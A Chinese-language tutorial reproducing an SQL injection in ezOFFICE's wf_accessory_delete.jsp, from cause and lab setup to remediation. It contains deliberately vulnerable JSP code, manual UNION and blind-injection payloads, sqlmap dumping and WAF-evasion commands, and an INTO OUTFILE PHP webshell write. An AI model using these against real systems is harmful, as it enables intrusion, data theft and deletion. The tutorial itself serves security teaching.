SQL注入漏洞复现:从原理到实战,以万户ezOFFICE为例

📅 2026/6/26 21:27:13
SQL注入漏洞复现:从原理到实战,以万户ezOFFICE为例
1. 项目概述一次典型的SQL注入漏洞复现之旅最近在梳理一些历史漏洞案例发现万户ezOFFICE协同管理平台的一个老漏洞——wf_accessory_delete.jsp文件存在的SQL注入问题依然很有代表性。这个漏洞的成因和利用方式几乎涵盖了Web安全中SQL注入漏洞的经典要素未过滤的用户输入、直接拼接的SQL语句、以及一个看似普通却暗藏玄机的功能点。对于刚入门安全研究的朋友来说复现这类漏洞是理解SQL注入原理、掌握手工测试与工具利用的绝佳练手材料。它不像一些复杂的链式漏洞那样需要深厚的功底但又能让你完整地走一遍从漏洞发现到数据获取的全过程非常适合用来巩固Web安全的基础。万户ezOFFICE作为一个广泛部署的协同办公平台其安全性直接影响众多企事业单位的内部数据。wf_accessory_delete.jsp这个文件从名字上看是处理工作流附件删除的。问题就出在它接收用户传入的参数后没有进行充分的校验和过滤就直接拼接到数据库查询语句中执行了。攻击者通过构造特殊的参数就能让数据库执行非预期的指令从而窃取或篡改数据。下面我就带大家一步步拆解这个漏洞从环境搭建、漏洞分析到手工与工具利用把每个环节的细节和背后的“为什么”都讲清楚。2. 漏洞原理与核心代码逻辑拆解要理解这个漏洞我们得先看看wf_accessory_delete.jsp大概干了什么。虽然我们拿不到官方的确切源代码但根据漏洞描述和常见的JSP编程模式我们可以合理地推断出其核心缺陷所在。2.1 漏洞触发的典型场景在协同办公平台中经常会有一个功能是删除某个工作流实例的附件。前端页面可能会通过一个链接或表单将附件的ID比如attachmentId传递给后端的wf_accessory_delete.jsp进行处理。一个正常的请求可能长这样http://target.com/ezoffice/wf_accessory_delete.jsp?attachmentId12345后端JSP页面为了执行删除操作需要根据这个ID去数据库的附件表里找到对应的记录然后将其删除。问题就出在构造这条SQL语句的方式上。2.2 缺陷代码模式还原一个存在严重缺陷的代码写法可能是这样的以下为模拟代码用于说明原理% String id request.getParameter(attachmentId); Connection conn ... // 获取数据库连接 Statement stmt conn.createStatement(); String sql DELETE FROM t_wf_accessory WHERE id id; stmt.executeUpdate(sql); out.println(附件删除成功); %关键问题分析直接拼接Root Cause代码直接将用户输入的attachmentId参数通过加号拼接到了SQL字符串中。这是所有SQL注入漏洞的万恶之源。缺乏过滤与预编译没有对id参数进行任何类型的检查是否是纯数字长度是否合理、转义或过滤。更重要的是没有使用PreparedStatement预编译语句来将查询结构与数据分离。错误处理信息可能暴露细节如果删除操作失败程序可能会将原始的SQL错误信息直接返回给前端这为攻击者判断注入点类型和数据库结构提供了便利。2.3 从参数到注入的演变当攻击者提交一个正常的数字如12345SQL语句是正常的DELETE FROM t_wf_accessory WHERE id12345但当攻击者提交一个精心构造的参数例如1 OR 11拼接后的SQL语句就变成了DELETE FROM t_wf_accessory WHERE id1 OR 11这条语句的WHERE条件变成了“id等于1或者1等于1”。由于“11”是永恒成立的True这个条件会对整个t_wf_accessory表生效导致删除表中所有附件记录造成灾难性后果。这只是一个最简单的例子实际利用中攻击者会使用更复杂的技巧来绕过可能的简单过滤并实现信息窃取而非破坏。注意在实际的万户ezOFFICE漏洞中注入点参数可能并非attachmentId也可能是其他如DOCID、FLOWID等。漏洞的原理是相通的关键在于找到那个被直接拼接进SQL语句的参数。3. 漏洞复现环境搭建与配置“工欲善其事必先利其器”。复现漏洞的第一步是搭建一个与目标相似的环境。由于我们无法直接获取并部署存在漏洞的官方版本这里我们采用两种更可行的方案一是使用公开的漏洞靶场或Docker镜像二是在本地模拟一个存在同样代码缺陷的简易JSP应用。3.1 方案一使用集成漏洞环境推荐对于新手而言最快的方式是使用已经集成好漏洞环境的靶场。Vulhubhttps://github.com/vulhub/vulhub是一个非常好的开源漏洞环境集合虽然我写这篇文章时它可能尚未收录万户ezOFFICE的这个特定漏洞但其搭建和使用思路是通用的。安装Docker与Docker-compose这是运行Vulhub的基础。确保你的Linux或Windows(WSL2)系统已安装好Docker引擎和docker-compose插件。寻找类似漏洞环境你可以在Vulhub中搜索“SQL注入”、“JSP”相关的环境例如一些旧的CMS系统如JEECMS, Joomla的历史漏洞环境。通过复现这些漏洞你能掌握通用的测试方法其技能可以完全迁移到万户ezOFFICE漏洞上。启动环境进入选定的漏洞环境目录执行docker-compose up -d靶场服务就会在后台启动。通常Vulhub会提示访问http://your-ip:port来访问漏洞页面。这种方法的优点是开箱即用环境隔离不会影响宿主机复现完毕后一键销毁 (docker-compose down)。3.2 方案二本地模拟漏洞点深入理解如果你想更深刻地理解wf_accessory_delete.jsp的漏洞本质可以自己在本地Tomcat上写一个存在同样问题的JSP页面。准备基础环境JDK安装Java Development Kit (如 OpenJDK 11)。Tomcat下载Apache Tomcat 9.x解压即可。数据库安装MySQL或MariaDB创建一个测试数据库和表。CREATE DATABASE test_vul; USE test_vul; CREATE TABLE t_wf_accessory ( id INT PRIMARY KEY, filename VARCHAR(255), filepath VARCHAR(500) ); INSERT INTO t_wf_accessory VALUES (1, test1.pdf, /uploads/1.pdf); INSERT INTO t_wf_accessory VALUES (2, secret.docx, /uploads/2.docx);编写存在漏洞的JSP文件 在Tomcat的webapps/ROOT目录下创建wf_accessory_delete.jsp模拟漏洞文件。% page importjava.sql.* % % // 模拟漏洞直接拼接用户输入 String id request.getParameter(id); String result 执行失败; // 数据库连接信息请修改为你自己的配置 String driver com.mysql.cj.jdbc.Driver; String url jdbc:mysql://localhost:3306/test_vul?useUnicodetruecharacterEncodingUTF-8serverTimezoneUTC; String user root; String password your_password; Connection conn null; Statement stmt null; try { Class.forName(driver); conn DriverManager.getConnection(url, user, password); stmt conn.createStatement(); // 漏洞核心直接拼接参数 String sql DELETE FROM t_wf_accessory WHERE id id; out.println(h3执行的SQL语句/h3pre sql /prehr); int count stmt.executeUpdate(sql); result 成功删除了 count 条记录。; } catch (Exception e) { result 错误: e.getMessage(); // 错误信息回显有助于攻击者 e.printStackTrace(); } finally { if (stmt ! null) try { stmt.close(); } catch (SQLException e) {} if (conn ! null) try { conn.close(); } catch (SQLException e) {} } % html body h2附件删除结果/h2 p% result %/p br a hrefwf_accessory_delete.jsp?id1测试删除id1/a /body /html同时将MySQL的JDBC驱动jar包如mysql-connector-java-8.0.xx.jar放到Tomcat的lib目录下。启动与访问启动Tomcat (bin/startup.sh或bin/startup.bat)。访问http://localhost:8080/wf_accessory_delete.jsp。 这样你就拥有了一个高度可控的、原理相同的SQL注入测试环境。实操心得对于复现已知漏洞方案一Vulhub效率更高但对于想彻底搞懂漏洞机理、练习代码审计的同学方案二自建模拟环境价值巨大。它能让你亲眼看到漏洞代码如何书写、如何触发以及修复它应该如何做例如将Statement改为PreparedStatement。4. 手工注入测试步步为营的信息获取有了环境我们就可以开始“攻击”了。手工注入是安全测试人员的基本功它能让你清晰地感知到每一步操作与数据库的交互过程。我们以自建的模拟环境为例假设漏洞URL是http://localhost:8080/wf_accessory_delete.jsp?idPARAM。4.1 第一步探测与确认注入点首先我们需要确认id参数是否存在注入漏洞以及是什么类型的注入。基础探测访问http://localhost:8080/wf_accessory_delete.jsp?id1。页面显示“成功删除了 1 条记录。”并打印出SQL语句DELETE FROM t_wf_accessory WHERE id1。这是正常行为。访问http://localhost:8080/wf_accessory_delete.jsp?id1在1后加一个单引号。如果页面返回数据库错误信息如You have an error in your SQL syntax...这强烈暗示存在SQL注入并且可能是字符型注入。我们的模拟环境会报错因为它拼接后的SQL是... id1引号不匹配导致语法错误。判断注入类型数字型注入如果参数本身应该是数字如主键ID且id1 AND 11返回正常id1 AND 12返回异常删除0条记录或报错则很可能是数字型注入。因为11永真条件成立12永假条件不成立。字符型注入如果参数是字符串通常会被单引号包裹。需要先闭合前面的引号再构造Payload。例如id1 AND 11对应SQL... id1 AND 11。 在我们的例子中id参数直接与数字比较且没有引号包裹所以是数字型注入。这从我们拼接出的SQL语句也能直接看出。4.2 第二步利用联合查询UNION SELECT获取数据DELETE语句本身不返回查询数据这给信息获取带来了困难。但我们可以利用“错误回显”或“时间盲注”等技术。更经典的方法是尝试将注入点转化为一个可以SELECT数据的位置。在某些场景下如果原SQL语句结构允许可以尝试用UNION SELECT。但请注意DELETE FROM ... WHERE id1 UNION SELECT ...这样的语句在语法上通常是错误的因为UNION要求前后语句的列数一致且类型兼容而DELETE和SELECT的列结构不同。因此对于DELETE/UPDATE/INSERT语句的注入更常见的利用方式是堆叠查询Stacked Queries如果数据库驱动允许如MySQL在某些配置下可以在注入点后用分号;分隔执行多条SQL语句。例如id1; SELECT * FROM users。但这取决于应用程序的数据库接口是否支持。基于错误的信息获取通过构造让数据库报错的Payload使错误信息中包含我们想要的数据。这需要利用数据库特定的函数如extractvalue()、updatexml()MySQL。布尔盲注与时间盲注当页面没有明确错误回显时通过观察页面返回内容的差异布尔盲注或响应时间的延迟时间盲注来逐位推断数据。为了演示一个更通用、更贴近“获取数据”目标的场景我们假设这个注入点最初存在于一个SELECT语句中例如某个查看附件详情的功能wf_accessory_detail.jsp。那么UNION SELECT的流程如下判断列数使用ORDER BY子句。id1 ORDER BY 1-- 正常id1 ORDER BY 2-- 正常id1 ORDER BY 3-- 正常id1 ORDER BY 4-- 报错说明原查询结果有3 列。确定回显点使用UNION SELECT和可显示的数据。id-1 UNION SELECT 1,2,3让原查询不返回结果使union的结果显示出来观察页面中哪个位置出现了数字“2”和“3”通常“1”可能不显示假设第2、3列是回显点。获取数据库信息id-1 UNION SELECT 1, database(), version()页面回显点会显示当前数据库名和数据库版本。获取表名id-1 UNION SELECT 1,2, group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()这会列出当前数据库中的所有表。获取字段名假设我们发现了users表。id-1 UNION SELECT 1,2, group_concat(column_name) FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers最终拖取数据id-1 UNION SELECT 1, username, password FROM users注意事项在实际测试中UNION SELECT的成功与否高度依赖于原SQL语句的上下文。wf_accessory_delete.jsp是DELETE操作上述UNION方法可能不适用。真正的考验在于根据页面的不同反应正常、错误、无变化、延时灵活选择布尔盲注、时间盲注或错误注入的技巧。手工注入是一个逻辑推理过程需要耐心和细心。5. 自动化工具利用Sqlmap实战演练手工注入能锻炼思维但在实战或快速评估中我们更需要效率。Sqlmap是开源的SQL注入自动化检测与利用神器它能识别各种注入类型并自动完成从数据库识别到数据拖取的全过程。5.1 基本探测与数据库指纹识别假设我们已确认目标URL为http://target.com/ezoffice/wf_accessory_delete.jsp?id1。基础扫描sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1这条命令会让Sqlmap自动探测id参数是否存在注入以及是什么类型的注入布尔盲注、时间盲注、错误注入等。-u参数指定目标URL。获取数据库信息 如果探测到注入点我们可以进一步获取数据库信息。sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 --current-db--current-db参数用于获取当前使用的数据库名称。识别数据库类型与版本sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 --banner--banner会获取数据库的版本标识banner这对于后续选择特定的Payload很有帮助。5.2 枚举数据结构与拖取敏感数据获取数据库名后下一步就是探索其中的表、列和数据。枚举指定数据库中的所有表sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 -D database_name --tables将database_name替换为上一步获取到的实际数据库名。-D指定数据库--tables列出所有表。枚举指定表中的所有列 假设我们对users表感兴趣。sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 -D database_name -T users --columns-T指定表名--columns列出该表的所有列名及其数据类型。拖取表数据 现在我们可以把users表里的数据全部导出来。sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 -D database_name -T users --dump--dump是“倾倒”的意思会导出该表的所有记录。如果表中有经过哈希如MD5存储的密码Sqlmap还会尝试用内置字典进行破解--passwords。5.3 高级参数与绕过技巧在实际的漏洞复现或测试中可能会遇到一些WAFWeb应用防火墙或简单的过滤机制。设置延迟避免触发防护sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 --delay1--delay1表示在每个HTTP请求之间延迟1秒降低请求频率避免因速度过快被屏蔽。使用随机User-Agentsqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 --random-agent使用随机的User-Agent头模拟不同浏览器避免被基于UA的简单规则拦截。指定注入技术 如果Sqlmap自动检测不准确可以手动指定。sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 --techniqueB--technique参数可指定注入技术B代表布尔盲注Boolean-based blindT代表时间盲注Time-based blindE代表报错注入Error-basedU代表联合查询Union query。使用Tamper脚本绕过过滤 Sqlmap提供了丰富的tamper脚本可以对Payload进行编码、混淆以绕过过滤。sqlmap -u http://target.com/ezoffice/wf_accessory_delete.jsp?id1 --tamperspace2comment例如space2comment脚本会将空格替换为/**/注释符。可以同时使用多个脚本--tamperbetween,charencode。实操心得使用Sqlmap时务必在授权范围内进行测试。对于DELETE类型的注入点如本例Sqlmap的默认测试Payload可能会触发数据删除操作造成破坏。强烈建议在测试前使用--test-filter或确保在完全可控的隔离环境如我们自建的模拟环境中进行。在实际对未知目标测试时可以先加--batch --smart让Sqlmap以更安全智能的模式运行并仔细阅读其每一步的提示。6. 漏洞深度利用与防御绕过思路在确认并利用了基础的SQL注入后我们有时需要思考更深层次的利用可能性。这不仅能提升攻击深度更能帮助我们从防御者角度理解漏洞的严重性。6.1 从注入到Getshell的路径探索SQL注入的终极危害之一就是获取服务器权限Getshell。对于MySQL数据库在特定条件下可以通过SQL注入实现这一目标。主要路径有写入WebShell这是最常见的方式。前提条件是已知网站的绝对路径可以通过报错信息、load_file()函数读取配置文件等方式获取。数据库用户拥有FILE_PRIV权限通常需要是root或高权限用户可通过sqlmap --is-dba判断。数据库的secure_file_priv系统变量没有限制文件导出路径在MySQL 5.5版本中常见。 利用的SQL语句类似SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/ezoffice/shell.php通过注入点执行此语句即可将一句话木马写入Web目录。然后就可以用中国菜刀、蚁剑等工具连接。利用数据库扩展功能如果数据库开启了某些危险的功能如MySQL的User Defined Functions (UDF)攻击者可以上传一个恶意的共享库.dll或.so并创建函数来执行系统命令。但这过程更为复杂要求也更高。利用系统存储过程在MSSQL数据库中可以利用xp_cmdshell存储过程直接执行操作系统命令。但在MySQL中没有如此直接的对应功能。对于万户ezOFFICE这个具体漏洞能否Getshell取决于多个因素数据库权限、Web路径是否可知、secure_file_priv设置等。在复现时这是一个值得尝试的深度利用方向。6.2 针对简单过滤的绕过技巧即使开发人员意识到要过滤如果实现不当仍然可以被绕过。以下是一些经典技巧大小写绕过如果过滤了select、union等关键词可以尝试SeLeCt、UnIoN。双写绕过如果过滤是简单的字符串替换如将select替换为空可以尝试selselectect过滤掉中间的select后剩下的字符又组成了select。注释符分割使用/**/、/*!*/内联注释来分割关键词。例如un/**/ion sel/**/ect。编码绕过使用URL编码、十六进制编码、Unicode编码等。例如union的URL编码是%75%6e%69%6f%6eselect的十六进制表示是0x73656c656374在SQL中可以直接使用SELECT * FROM users WHERE id0x310x31是‘1’的十六进制。等价函数/语句替换如果substring()被过滤可以尝试mid()、substr()如果or被过滤可以用||在某些数据库中是逻辑或如果and被过滤可以用。利用数据库特性例如在MySQL中/*!50000select*/表示在MySQL版本大于等于5.00.00时才执行其中的select这可以用来绕过一些简单的WAF。6.3 盲注场景下的高效信息获取当目标没有错误回显且无法使用UNION时布尔盲注和时间盲注是主要手段。手工进行盲注极其繁琐但理解其原理至关重要。布尔盲注逻辑通过构造SQL语句让页面在不同条件下真或假呈现出可区分的状态如内容不同、HTTP状态码不同。例如id1 AND ascii(substr(database(),1,1))100如果页面正常说明数据库名第一个字符的ASCII码大于100。通过二分法不断调整比较值50, 75...最终确定准确的ASCII码。重复此过程获取所有字符。时间盲注逻辑当页面无论真假都完全一样时使用时间延迟函数。例如在MySQL中id1 AND IF(ascii(substr(database(),1,1))100, sleep(3), 0)如果第一个字符ASCII码大于100页面会延迟3秒响应。同样通过二分法和延时判断逐位推断数据。高效工具手工进行盲注不现实这正是Sqlmap等工具的强项。它们会自动化这个二分猜测过程。在Sqlmap中使用--techniqueB或--techniqueT来指定盲注技术工具会自动完成所有繁琐的猜测工作。7. 漏洞修复方案与安全开发建议复现漏洞的最终目的是为了更好地修复和防御。针对“万户ezOFFICEwf_accessory_delete.jspSQL注入漏洞”这类问题修复方案是明确且标准的。7.1 立即修复方案参数化查询预编译语句这是根治SQL注入的最有效方法。以Java为例必须将Statement替换为PreparedStatement。修复前漏洞代码:String id request.getParameter(attachmentId); Statement stmt conn.createStatement(); String sql DELETE FROM t_wf_accessory WHERE id id; // 危险拼接 stmt.executeUpdate(sql);修复后安全代码:String id request.getParameter(attachmentId); String sql DELETE FROM t_wf_accessory WHERE id?; // 使用占位符 ? PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setInt(1, Integer.parseInt(id)); // 将参数安全地设置进去 pstmt.executeUpdate();原理PreparedStatement会先将SQL语句模板含占位符?发送给数据库进行编译。后续传入的参数无论内容是什么都会被数据库视为纯粹的数据而不是SQL代码的一部分。即使参数中包含 OR 11它也会被当作一个完整的字符串值去匹配id字段而不会破坏SQL语句结构。7.2 辅助防御措施虽然参数化查询是核心但多层防御能提供更安全的纵深。输入验证与过滤白名单验证对于id这种应为数字的参数在代码逻辑开始就进行强类型转换和范围检查。try { int attachmentId Integer.parseInt(request.getParameter(attachmentId)); if (attachmentId 0) { throw new IllegalArgumentException(无效的ID); } // 继续使用attachmentId进行数据库操作 } catch (NumberFormatException e) { // 记录日志返回错误信息给用户 response.getWriter().write(参数错误); return; }最小权限原则连接数据库的应用程序账号不应拥有DROP、FILE写文件等高级权限。只赋予其完成业务所必需的SELECT、INSERT、UPDATE、DELETE权限。输出编码与错误处理避免将详细的数据库错误信息直接显示给用户。应使用自定义的错误页面在日志中记录详细错误而给用户返回模糊的提示如“操作失败”。对从数据库取出并要显示在网页上的数据进行适当的输出编码如HTML编码防止二次注入和XSS攻击。使用安全的开发框架现代Java Web开发框架如Spring Data JPA, MyBatis等通常默认支持或强制使用参数化查询。遵循框架的最佳实践能从根本上避免手写拼接SQL。定期安全审计与渗透测试对存量代码尤其是像wf_accessory_delete.jsp这类直接操作数据库的遗留页面进行代码审计查找所有可能的SQL拼接点。定期对系统进行黑盒/白盒的渗透测试主动发现潜在漏洞。7.3 针对运维的临时缓解措施如果因故无法立即修改代码可以考虑以下临时方案部署WAFWeb应用防火墙在应用前端部署WAF可以拦截常见的SQL注入攻击Payload。但WAF可能存在被绕过的风险不能作为根本解决方案。网络层限制通过防火墙策略限制访问该协同管理平台后台管理页面的IP地址仅允许管理员IP访问减少暴露面。8. 总结与反思从一次复现中学到的复现“万户ezOFFICE wf_accessory_delete.jsp SQL注入漏洞”这样一个看似简单的漏洞其价值远不止于掌握一个漏洞的利用方法。它更像一个解剖麻雀的过程让我们看清了Web安全中一个最经典、最持久威胁的完整生命周期。首先它再次印证了“一切输入皆不可信”的安全基本原则。这个漏洞的根源就在于开发者信任了前端传来的id参数并毫无防备地将其融入了代码逻辑的核心——SQL语句。在开发中任何一个来自外部的参数无论是URL参数、表单字段、Cookie还是HTTP头都必须经过严格的校验、过滤或采用安全的处理方式如预编译才能使用。其次漏洞的利用过程是一次完整的渗透测试思维训练。从信息收集发现wf_accessory_delete.jsp这个端点、漏洞探测测试参数是否存在注入、漏洞利用手工构造Payload或使用Sqlmap、到权限提升尝试Getshell每一步都考验着对Web技术栈和数据库的理解。手工注入锻炼的是耐心和逻辑工具利用则提升了效率两者结合才是实战之道。再者这个案例凸显了安全防御的层次性。修复它最根本的方法是采用参数化查询但这属于代码层修复。在代码之外我们还可以通过输入验证、最小权限、错误处理、WAF等多层措施来增加攻击成本。安全是一个体系没有银弹。最后对于企业而言这类在协同办公、内容管理等系统中高频出现的漏洞危害性极大。它们可能直接导致内部敏感数据通讯录、财务信息、公文档案泄露甚至造成服务器被控制。因此对使用的第三方系统进行及时的漏洞跟踪、补丁更新或安全加固是运维和安全团队不可或缺的工作。对于安全研究人员和开发者我的建议是多复现、多动手、多思考。在像Vulhub这样的安全环境中安全地、反复地练习从漏洞发现到利用的全过程。不仅要会“攻”更要深刻理解“防”的原理并将这些安全编码习惯融入到日常开发工作中。每一次漏洞复现都是对自己安全意识和技能的一次加固。